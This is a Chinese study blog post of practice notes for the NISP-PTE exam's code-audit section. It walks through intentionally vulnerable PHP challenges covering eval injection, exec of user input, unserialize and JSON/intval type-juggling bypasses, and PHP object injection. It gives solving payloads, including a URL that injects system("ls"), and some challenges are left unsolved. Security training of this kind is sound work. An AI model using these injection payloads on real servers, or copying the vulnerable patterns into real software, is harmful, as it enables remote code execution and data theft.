当前位置: 首页 > ds >正文

NISP-PTE基础实操——代码审计

pte代码审计模拟1

源代码如下:

<?php 
error_reporting(0); 
$a = $_GET['a']; 
eval("\$ret = strtolower(\"$a\");"); 
echo $ret; 
show_source(__FILE__); 
?>
  • 接收参数 $a,构造为:

    eval("$ret = strtolower(\"$a\");");

  • eval() 动态执行,构成代码注入点;

  • show_source(__FILE__) 可看到源码,确认存在 eval()

  • strtolower() 是幌子,核心漏洞在于 $a无过滤拼接进 eval 字符串,可以闭合字符串并注入任意语句。

🚨 1. 漏洞本质

  • 代码注入 + eval 执行

  • 你可以闭合 strtolower(") 后直接注入任意 PHP 代码;

  • 攻击载荷执行在服务器端,能使用的函数包括 system()passthru()shell_exec()file_get_contents() 等。

🚀 2. 验证 RCE 是否可行

测试命令执行:

/index.php?a=");system("ls");//

执行逻辑还原:

eval('$ret = strtolower("");system("ls");//");');

此时 system("ls") 被执行,终端结果回显。

/index.php?a=");system("ls

pte代码审计模拟2

<?php
error_reporting(0); 
show_source(__FILE__);
if(strlen($_GET[1]<30)){echo strlen($_GET[1]);echo exec($_GET[1]);
}else{exit('too more');
}
?>

pte代码审计模拟3

<?php
error_reporting(0);
include "flag.php";
$TEMP = "CISP";
$str = $_GET['str'];
if (unserialize($str) === $TEMP)
{echo "$flag";
}
show_source(__FILE__);/index.php?str=s:4:"CISP";
/index.php?str=s%3A4%3A"CISP"%3B 

pte代码审计模拟4

<?php
$v1 = 0;
$v2 = 0;
$a = (array)json_decode(@$_GET['w']);
if (is_array($a)) {is_numeric(@$a["bar1"]) ? die("nope") : NULL;if (@$a["bar1"]) {($a["bar1"] > 2020) ? $v1 = 1 : NULL;}if (is_array(@$a["bar2"])) {if (count($a["bar2"]) != 5 or !is_array($a["bar2"][0])) {die("nope");}$pos = array_search("cisp-pte", $a["bar3"]);$pos === false ? die("nope") : NULL;foreach ($a["bar2"] as $key => $val) {$val == "cisp-pte" ? die("nope") : NULL;}$v2 = 1;}
}
if ($v1 && $v2) {include "key.php";echo $key;
}
highlight_file(__file__);
?>/?w={"bar1":"2025a","bar2":[[],"a","b","c","d"],"bar3":["cisp-pte"]}

 

pte代码审计模拟6

阅读源码,获取flag。$tis = "我们可以让您生活更轻松";$gp = $_GET['cx'];if($gp) {if(preg_match("/[0-9]/", $gp)) {$tis = "输入的只能是字符";} else {if(intval($gp)) {$flag = @file_get_contents("../../../flag.txt");if($flag === false) {$flag = "flag{file_not_found}";}$tis = $flag;} else {$tis = "只差一步就可以拿到Flag";}}}?>

pte代码审计模拟7

pte代码审计模拟8

某些PHP intval函数在处理时会出现些问题!$gp = isset($_GET['cx']) ? $_GET['cx'] : '';if ($gp) {if(intval(" .$gp.")<1001 && intval($gp +1)>10000){$flag = file_get_contents("../../../flag.txt");$tis = "验证通过!Flag: " . $flag;$class = "success";} else {$tis = "验证失败,请检查输入参数";$class = "error";}} else {$tis = "请输入测试参数";$class = "error";}

 

pte代码审计模拟9

一个json对象搞定 

pte代码审计模拟10

O:4:"User":1:{s:5:"admin";O:5:"Admin":0:{}}

http://www.xdnf.cn/news/16101.html

相关文章:

  • 从实践出发--探究C/C++空类的大小,真的是1吗?
  • 微店关键词搜索接口深度开发指南
  • 有关Maven的个人笔记总结
  • ssh2-sftp-client 简化 sftp 文件传输的 node库
  • python实现接收九数云的异常分析指标推送通知
  • C++基础数据结构
  • Java IO 流详解:从基础到实战,彻底掌握输入输出编程
  • A316-HF-DAC-V1:专业USB HiFi音频解码器评估板技术解析
  • 牛客网题解 | 单词识别
  • 关于Ajax的学习笔记
  • 二叉树实现堆,咕咕咕
  • 结构型模式-架构解耦与扩展实践
  • Linux的目录
  • stream event
  • 软文发布平台推荐指南,软文发稿平台该怎么选?
  • 网络协议(三)网络层 IPv4、CIDR(使用子网掩码进行网络划分)、NAT在私网划分中的应用
  • Axios
  • Qt中的网络通信
  • javaSE(从0开始)day13
  • 通过TPLink路由器进行用户行为审计实战
  • 【图像处理基石】什么是相机的内外参数?
  • springcloud -- 微服务02
  • 关于 URL 中 “+“ 号变成空格的问题
  • 数据结构:找出字符串中重复的字符(Finding Duplicates in a String)——使用哈希表
  • HTTP性能优化实战技术详解(2025)
  • Linux进程核心机制:状态、优先级与上下文切换详解
  • Redis进阶--缓存
  • AQS 抽象队列同步器 资源竞争-排队等待
  • C++实战案例:从static成员到线程安全的单例模式
  • Django视图与路由系统